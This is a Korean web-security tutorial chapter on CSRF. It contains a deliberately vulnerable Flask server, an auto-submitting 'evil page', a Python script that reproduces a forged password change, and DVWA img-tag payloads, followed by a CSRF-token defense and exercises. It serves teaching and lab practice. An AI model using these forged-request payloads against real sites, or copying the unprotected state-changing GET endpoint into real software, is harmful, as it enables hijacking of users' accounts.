Step 140. CSRF: 요청 위조 — 피해자의 브라우저가 대신 클릭한다

Step 140. CSRF: 요청 위조 — 피해자의 브라우저가 대신 클릭한다

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3시간

전제: Step 139의 쿠키·세션 지식, Step 73의 HTTP 요청 구조, Step 94의 Flask 서버 지식을 사용합니다.

  • 준비물: DVWA(또는 워게임 랩), 파이썬 3 + Flask + requests (로컬 재현용), 브라우저 개발자 도구
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

Step 139에서 우리는 피해자의 쿠키를 훔쳐 와서 썼습니다. 그런데 쿠키를 훔치지 않고도 피해자 권한으로 일을 시키는 방법이 있습니다 — 피해자의 브라우저가 스스로 요청을 보내게 만드는 것입니다. 브라우저에는 성실한 습관이 하나 있습니다: 어떤 사이트로 요청을 보낼 때 그 사이트의 쿠키를 자동으로 붙입니다. 이 성실함을 역이용하는 공격이 CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)입니다. 오늘은 내 컴퓨터에서 취약 서버와 악성 페이지를 띄워 이 공격을 재현하고, CSRF 토큰이 왜 이것을 정확히 막는지까지 실측합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 브라우저의 쿠키 자동 전송 특성이 CSRF를 가능하게 하는 원리를 설명한다
  • 자동 전송 폼·이미지 태그로 요청을 위조하는 악성 페이지를 작성한다
  • 로그인 세션이 있는 상태에서 위조 요청이 그대로 처리되는 것을 재현한다
  • CSRF 토큰 방어가 왜 위조를 막는지 실험으로 확인하고 설명한다
  • SameSite 쿠키 속성의 역할과 현대 브라우저의 변화를 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + Flask + requests (로컬 재현), 브라우저, DVWA 랩
오늘의 명령 requests.Session() (쿠키를 저장하는 브라우저 모사), HTML <form> 자동 전송
필요한 개념 세션 쿠키의 자동 전송, CSRF, CSRF 토큰, SameSite 속성
오늘의 산출물 CSRF 공격·방어 재현 기록 + "정상 요청 vs 위조 요청" 비교 노트

2-1. 쿠키의 자동 전송 — 성실함이 만든 구멍

로그인 후 브라우저는 그 사이트로 가는 모든 요청에 세션 쿠키를 붙입니다. 여기서 "모든"이 문제입니다 — 내가 주소창에 친 요청뿐 아니라, 다른 사이트의 페이지가 발생시킨 요청에도 쿠키가 붙습니다. 악성 페이지 안의 <img src="http://은행/이체?...">를 브라우저가 로딩하는 순간, 그 요청은 피해자의 로그인 쿠키를 달고 은행에 도착합니다. 은행 서버 입장에서는 "로그인된 정상 사용자의 요청"과 구분할 수 없습니다.

2-2. CSRF — 요청을 위조한다는 것

공격의 구조는 이렇습니다.

① 피해자가 은행(대상 사이트)에 로그인 — 세션 쿠키 보유
② 공격자가 만든 페이지를 피해자가 방문 (링크 클릭 등)
③ 그 페이지 안의 숨은 폼/이미지가 대상 사이트로 요청 자동 발사
④ 요청에 피해자의 쿠키가 자동 첨부 → 서버는 피해자의 행동으로 처리

피해자는 아무것도 클릭하지 않았습니다. 페이지를 열기만 했습니다. XSS가 "피해자 브라우저에서 내 코드 실행"이라면, CSRF는 "피해자 브라우저에 내 요청 실행" — 코드를 심지 못해도 됩니다. 링크 하나면 됩니다.

2-3. CSRF 토큰 — 서버만 아는 일회용 값

방어의 핵심 질문은 "이 요청이 우리 사이트의 폼에서 출발했는가?"입니다. 서버는 폼을 보여 줄 때마다 예측 불가능한 CSRF 토큰을 숨은 필드로 심어 둡니다. 정상 폼 전송에는 토큰이 따라오고, 악성 페이지의 위조 요청에는 토큰이 없습니다 — 공격자는 다른 사이트에 있어서 토큰 값을 모릅니다. 서버는 토큰이 없거나 틀리면 거부하면 끝입니다.

2-4. SameSite — 쿠키의 출장 금지령

쿠키에 SameSite=Lax 또는 Strict 속성을 붙이면, 브라우저는 다른 사이트에서 발생한 요청에는 쿠키를 붙이지 않습니다. 자동 전송의 성실함을 쿠키 단계에서 끊는 것입니다. 최신 브라우저는 기본값이 Lax로 바뀌어 고전적 CSRF가 점점 어려워지고 있습니다 — 그래서 오늘 실습은 "원리가 보이는 랩 환경"에서 합니다. 원리를 아는 것이 목적입니다.


3. 따라 하기

DVWA 화면은 출력 예시로 표기하고, 원리는 로컬 Flask 서버로 실측합니다. (본 교재는 2026-09-09에 Windows + Flask 3.1.3 환경에서 실측했습니다.)

3-1. 취약 서버 — "본인 의사"를 묻지 않는 비밀번호 변경

공격받을 서버입니다. GET 파라미터로 비밀번호를 바꾸는, 실수하기 쉬운 형태입니다 (vuln_csrf.py).

입력

from flask import Flask, request, session

app = Flask(__name__)
app.secret_key = "lab-secret"
PW = {"admin": "original-pass"}

@app.route("/login")
def login():
    session["user"] = "admin"
    return "로그인 완료 (세션 쿠키 발급)"

@app.route("/change")
def change():
    if "user" not in session:
        return "로그인 필요", 401
    # 취약점: 이 요청이 '본인 의사'인지 확인하는 수단이 없다
    PW["admin"] = request.args.get("new", "")
    return f"비밀번호 변경됨: {PW['admin']}"

app.run(port=8320)

읽는 법: /change는 로그인 여부만 봅니다. "이 요청이 우리 사이트의 비밀번호 변경 폼에서 온 것인가"는 묻지 않습니다. 바로 그 점이 CSRF의 문입니다. 실무에서도 상태를 바꾸는 동작(비밀번호 변경, 이체, 글쓰기)을 GET으로 받는 것 자체가 위험 신호입니다.

3-2. 악성 페이지 — 방문만으로 요청을 쏘는 함정

공격자가 만드는 쪽입니다 (evil_page.py).

입력

from flask import Flask

app = Flask(__name__)

@app.route("/")
def trap():
    # 방문자의 브라우저가 이 폼을 자동 전송 -> 피해자의 쿠키가 딸려 간다
    return """<html><body onload="document.forms[0].submit()">
<form action="http://127.0.0.1:8320/change" method="GET">
  <input type="hidden" name="new" value="hacked-by-csrf">
</form>
<p>평범해 보이는 페이지...</p>
</body></html>"""

app.run(port=8321)

읽는 법: 겉은 "평범해 보이는 페이지"지만, body onload가 열리는 즉시 숨은 폼을 대상 서버로 전송합니다. 사용자가 누른 버튼은 없습니다. DVWA CSRF 메뉴처럼 변경이 GET 파라미터로 이루어지는 대상이라면 폼조차 필요 없이 <img src="http://대상/change?new=..."> 한 줄이면 됩니다 — 이미지 로딩이 곧 요청입니다.

3-3. 공격 재현 — 쿠키가 자동으로 따라붙는 순간

두 서버를 띄우고, 피해자의 브라우저 역할을 requests.Session()이 합니다. 세션은 한 번 받은 쿠키를 이후 요청에 자동으로 붙입니다 — 브라우저의 그 성실함 그대로입니다.

입력

import requests

# 1) 피해자: 대상 서버에 로그인
s = requests.Session()
r = s.get("http://127.0.0.1:8320/login")
print("응답:", r.text, "| 세션 쿠키:", dict(s.cookies))

# 2) 피해자가 악성 페이지를 '방문' — 폼이 자동 전송하는 요청을 모사
#    세션은 쿠키를 자동으로 붙인다. 이것이 CSRF의 심장이다.
r = s.get("http://127.0.0.1:8320/change", params={"new": "hacked-by-csrf"})
print("위조 요청 응답:", r.status_code, r.text)

출력 (2026-09-09 실측):

응답: 로그인 완료 (세션 쿠키 발급) | 세션 쿠키: {'session': 'eyJ1c2VyIjoiYWRtaW4ifQ.aqEE0w.fsnemmTWVDgaCKPOaWL_jCUR3wQ'}
위조 요청 응답: 200 비밀번호 변경됨: hacked-by-csrf

읽는 법: 위조 요청은 200으로 접수됐고, 서버의 비밀번호 저장소는 {'admin': 'hacked-by-csrf'}로 바뀌었습니다. 피해자가 원래 비밀번호로 다음에 로그인하려 하면 실패할 것입니다. 서버 로그에는 그저 "로그인된 admin의 정상 요청"으로 기록됩니다 — 서버는 정상과 위조를 구분하지 못했습니다. 이것이 CSRF의 정의입니다.

왜 하는가: "방문만 했는데 상태가 바뀐다"는 경험을 직접 해 봐야, 실무에서 "이 요청이 정말 사용자 의사인가"를 묻는 습관이 생깁니다. 공격이 아니라 질문이 방어의 시작입니다.

3-4. 방어 실측 — CSRF 토큰이 막는 것

같은 서버에 토큰 검사를 추가한 버전을 띄웁니다. 로그인할 때 서버가 예측 불가능한 토큰을 발급하고, 변경 요청은 토큰 일치를 요구합니다.

입력 (방어 서버의 핵심 + 실험)

import secrets
# 로그인 시: TOKENS["admin"] = secrets.token_hex(8)  — 일회용 토큰 발급
# /change 시: request.args.get("csrf") != TOKENS["admin"] 이면 403 거부

import requests
s2 = requests.Session()
s2.get("http://127.0.0.1:8322/login")
# 공격자 페이지는 토큰을 모른다 — 토큰 없이 같은 위조 요청
r = s2.get("http://127.0.0.1:8322/change", params={"new": "hacked-by-csrf"})
print("토큰 없는 위조 요청:", r.status_code, r.text)
# 정상 요청: 사용자가 서버가 준 폼에서 토큰과 함께 제출
r = s2.get("http://127.0.0.1:8322/change", params={"new": "user-choice", "csrf": "dc0af1b27f0c01ef"})
print("토큰 있는 정상 요청:", r.status_code, r.text)

출력 (2026-09-09 실측):

토큰 없는 위조 요청: 403 CSRF 토큰 불일치 — 요청 거부
토큰 있는 정상 요청: 200 비밀번호 변경됨: user-choice

읽는 법: 쿠키는 여전히 자동으로 붙었습니다 — 그건 브라우저의 본성이라 못 바꿉니다. 하지만 토큰이 없어서 거부됐습니다. 악성 페이지는 다른 사이트라서 서버가 발급한 토큰 값을 알 수 없고, 추측도 불가능합니다(secrets.token_hex — 예측 불가 난수). 쿠키는 "누구인가"를 증명하고, 토큰은 "정말 내가 시킨 일인가"를 증명합니다. 둘은 다른 질문입니다.

3-5. DVWA에서의 적용 — 워게임 진행 순서

랩에서는 이 순서로 진행하세요 (화면·결과는 출력 예시):

  1. DVWA CSRF 메뉴를 열고, 비밀번호 변경이 GET 파라미터(?password_new=...&password_conf=...&Change=Change)로 이루어짐을 개발자 도구 Network 탭에서 확인합니다.
  2. 악성 페이지를 만듭니다: <img src="http://DVWA주소/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">. 로컬 파일(evil.html)로 저장해도 됩니다.
  3. DVWA에 로그인된 같은 브라우저에서 그 파일을 엽니다. 그리고 DVWA를 로그아웃했다가 새 비밀번호 hacked로 로그인해 봅니다 — 되면 공격 성공입니다.
  4. Burp(또는 개발자 도구)로 "정상 변경 요청"과 "위조 요청"을 나란히 놓고 비교합니다 — 서버가 받은 것은 사실상 동일한 GET 요청임을 확인합니다.
  5. High 난이도의 코드를 열어 CSRF 토큰 검사부를 찾고, 토큰 없이 요청이 거부되는 것을 확인합니다.

주의: 최신 브라우저는 SameSite 기본값 때문에 다른 사이트에서 온 요청에 쿠키를 안 붙이는 경우가 있습니다. 랩에서 재현이 안 되면 그것이 SameSite 방어가 작동한 것이니, 그 자체를 관찰 결과로 기록하세요.


4. 미션과 연습문제

미션 — CSRF 재현 보고서

  1. 3-1~3-3의 로컬 실험을 재현하고, "위조 요청 응답: 200"과 바뀐 비밀번호 저장소 출력을 write-up에 붙인다
  2. 3-4의 토큰 방어 실험을 재현하고, 403 거부 출력을 함께 붙인다
  3. DVWA(또는 랩)에서 악성 페이지로 비밀번호 변경에 성공하고, 새 비밀번호로 로그인되는 것을 확인한다
  4. "정상 요청 vs 위조 요청"의 HTTP 요청을 비교한 표를 만든다 (메서드, URL, 쿠키, 출발 페이지)
  5. CSRF가 성립하는 조건 세 가지를 내 문장으로 정리한다

연습문제

문제 1. CSRF에서 피해자의 쿠키가 위조 요청에 붙는 이유를 "브라우저의 성실함" 관점에서 설명해 보세요.

문제 2. CSRF와 XSS의 차이를 "무엇을 실행하느냐"로 구분해 보세요.

문제 3. CSRF 토큰이 위조를 막는 원리를, 3-4 실측의 403 출력을 근거로 설명해 보세요.

문제 4. 비밀번호 변경을 GET이 아니라 POST로만 받게 하면 CSRF가 완전히 해결되는가요? 그렇지 않다면 이유를 말해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

재현 기록 예시 (2026-09-09 로컬 실측 기준):

[취약 서버] 위조 요청 응답: 200 비밀번호 변경됨: hacked-by-csrf
[방어 서버] 토큰 없는 위조 요청: 403 CSRF 토큰 불일치 — 요청 거부
[방어 서버] 토큰 있는 정상 요청: 200 비밀번호 변경됨: user-choice

비교 표 예시:

항목 정상 요청 위조 요청
메서드·URL GET /change?new=… GET /change?new=… (동일)
쿠키 세션 쿠키 첨부 세션 쿠키 첨부 (동일 — 자동)
출발 서버가 준 변경 폼 악성 페이지의 숨은 폼/img
서버가 구분 가능? 불가 (토큰 도입 전)

CSRF 성립 조건: ① 대상 사이트에 로그인된 세션이 있다. ② 상태를 바꾸는 요청이 "본인 의사 확인" 없이 처리된다. ③ 요청의 모든 파라미터를 공격자가 예측할 수 있다.

검증하는 법: ① 로컬에서 비밀번호 저장소가 공격자 값으로 바뀌는 출력을 확인했는가. ② 토큰 없는 요청이 403인가. ③ 랩에서 새 비밀번호로 로그인됐는가. ④ 성립 조건 셋 중 하나라도 깨면 공격이 실패함을 설명할 수 있는가.

연습문제 해답

문제 1 해답. 브라우저는 요청의 "출발지"를 보지 않고 "목적지"만 봅니다. 목적지가 쿠키를 발급한 사이트와 같으면, 그 요청이 어떤 페이지에서 발생했든 쿠키를 자동 첨부합니다. 이 성실한 규칙 때문에 악성 페이지가 시킨 요청에도 피해자의 세션 쿠키가 실립니다.

문제 2 해답. XSS는 피해자의 브라우저에서 공격자의 코드(자바스크립트)를 실행합니다 — 그 코드는 쿠키를 읽거나 화면을 바꾸는 등 무엇이든 할 수 있습니다. CSRF는 코드를 심지 않고 공격자가 미리 만든 요청을 피해자 브라우저가 보내게 합니다 — 할 수 있는 일은 "서버가 제공하는 기능의 호출"로 제한되지만, 그래서 더 간단하고 코드 실행이 필요 없습니다.

문제 3 해답. 3-4 실측에서 토큰 없는 위조 요청은 403으로 거부됐고, 올바른 토큰이 있는 요청만 200이었습니다. 토큰은 서버가 폼을 보여 줄 때만 심어 주는 예측 불가능한 값이라, 다른 사이트의 악성 페이지는 이 값을 알 수 없습니다. 쿠키(자동 첨부됨)가 증명하는 "누구인가"와 별개로, 토큰은 "본인 의사인가"를 증명하는 것입니다.

문제 4 해답. 해결되지 않습니다. <img> 트릭은 막히지만, 악성 페이지는 <form method="POST">를 자동 전송해 POST 요청도 위조할 수 있습니다(3-2의 폼이 바로 그 형태). 메서드는 방어가 아닙니다 — 본인 의사를 확인하는 토큰과 SameSite가 방어입니다.

완료 기준 체크리스트

  • [ ] 쿠키 자동 전송이 CSRF의 심장임을 설명할 수 있다
  • [ ] 자동 전송 폼 또는 img 태그로 위조 요청 페이지를 만들 수 있다
  • [ ] 로컬 서버에서 위조 요청이 200으로 처리되는 것을 재현했다
  • [ ] CSRF 토큰이 있는 서버에서 같은 요청이 403이 됨을 확인했다
  • [ ] "쿠키는 신원, 토큰은 의사"라는 구분을 말할 수 있다
  • [ ] SameSite 속성의 역할과 현대 브라우저의 기본 변화를 안다
  • [ ] 이 실습이 내 랩 전용임을 다시 확인했다

6. 흔한 실수와 해결

벽 1. 악성 페이지를 열었는데 아무 일도 안 일어난다

증상: 비밀번호가 안 바뀝니다.
원인: ① 피해자가 대상 사이트에 로그인되어 있지 않거나, ② 폼의 action 주소가 틀렸거나, ③ 브라우저가 SameSite 때문에 쿠키를 안 붙였습니다.
해결: 같은 브라우저에서 대상 사이트 로그인 상태를 먼저 확인하세요. 개발자 도구 Network 탭에서 위조 요청이 실제로 나갔는지, 쿠키가 붙었는지를 봅니다.

벽 2. 요청은 나가는데 쿠키가 안 붙는다

증상: Network 탭의 요청 헤더에 Cookie가 없습니다.
원인: 현대 브라우저의 SameSite=Lax 기본값 — 다른 사이트(로컬 파일 포함)에서 발생한 요청에는 쿠키를 붙이지 않습니다.
해결: 이것은 실패가 아니라 방어가 작동하는 장면입니다. 실험 목적이라면 DVWA 같은 구형·랩 환경에서 하고, 관찰 노트에 "SameSite가 막았다"고 기록하세요 — 그것이 오늘날의 현실입니다.

벽 3. 파라미터 이름이 달라서 공격이 안 먹힌다

증상: 서버가 400 오류나 빈 응답을 줍니다.
원인: 위조 요청의 파라미터 이름·개수가 서버의 기대와 다릅니다.
해결: 정상 요청을 먼저 한 번 보내고 개발자 도구에서 파라미터를 그대로 베끼세요. DVWA라면 password_new, password_conf, Change까지 셋 다 필요합니다.

벽 4. 로컬 실험에서 세션 쿠키가 안 따라간다

증상 (2026-09-09 실측): 새 requests.Session()으로 요청하면 로그인 필요 401.
원인: 세션 객체는 쿠키를 저장하는 그릇입니다. 로그인한 세션과 다른 새 세션으로 요청하면 쿠키가 없습니다.
해결: 로그인에 쓴 같은 세션 객체로 후속 요청을 보내세요. 브라우저로 치면 "같은 브라우저에서"가 조건입니다.

벽 5. 토큰 방어인데도 뚫렸다는 랩을 만났다

증상: High 난이도인데 토큰이 통과됩니다.
원인: 토큰이 있어도 ① 매 요청마다 검증하지 않거나, ② 토큰을 URL로 노출하거나, ③ XSS가 있어 토큰을 읽을 수 있으면 무력화됩니다.
해결: 방어자라면 — 토큰은 서버 세션과 묶어 매 요청 검증하고, XSS를 먼저 막으세요. CSRF 방어는 XSS가 없다는 전제 위에서 성립합니다.


7. 정리

오늘의 개념

개념 한 줄 설명
CSRF 피해자 브라우저에 위조 요청을 보내게 하는 공격 — 쿠키는 자동으로 딸려 간다
쿠키 자동 전송 목적지가 같으면 출발지를 묻지 않는 브라우저의 규칙 — CSRF의 심장
자동 전송 폼 onload + 숨은 폼 — 클릭 없이 발사되는 요청
CSRF 토큰 서버만 아는 일회용 값 — "본인 의사인가"의 증명
SameSite 다른 사이트발 요청에 쿠키를 안 붙이는 쿠키 속성
GET으로 상태 변경 그 자체로 위험 신호 — 링크·이미지 한 방에 발동 가능

오늘의 명령어와 코드

명령·코드 하는 일
requests.Session() 쿠키를 저장·자동 첨부하는 브라우저 모사
<body onload="document.forms[0].submit()"> 방문 즉시 폼 전송 — CSRF 함정의 심장
<img src="http://대상/change?new=..."> GET 기반 대상을 향한 한 줄짜리 위조
secrets.token_hex(8) 예측 불가능한 CSRF 토큰 생성
SameSite=Lax / Strict 쿠키의 사이트 간 전송 제한

명령어보다 중요한 감각

오늘의 핵심 문장은 "쿠키는 신원을 증명하지만 의사를 증명하지 않는다"입니다. 서버가 쿠키만 보고 행동을 처리하면, 그 행동의 진짜 주인이 누구인지는 아무도 모릅니다. 실무에서 상태를 바꾸는 기능을 만들 때마다 물으세요 — 이 요청이 우리 폼에서 왔는가? 그 질문 하나가 토큰을 낳습니다.

XSS와 CSRF를 나란히 놓고 보면 웹 공격의 지도가 보입니다. 둘 다 피해자의 브라우저를 도구로 쓰지만, XSS는 "코드를 심는" 공격이고 CSRF는 "요청을 시키는" 공격입니다. 그리고 둘은 만나면 더 강해집니다 — XSS로 토큰을 읽어 CSRF 방어를 무너뜨릴 수 있습니다. 방어가 겹겹이여야 하는 이유입니다.


전부 체크되면 Step 140 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.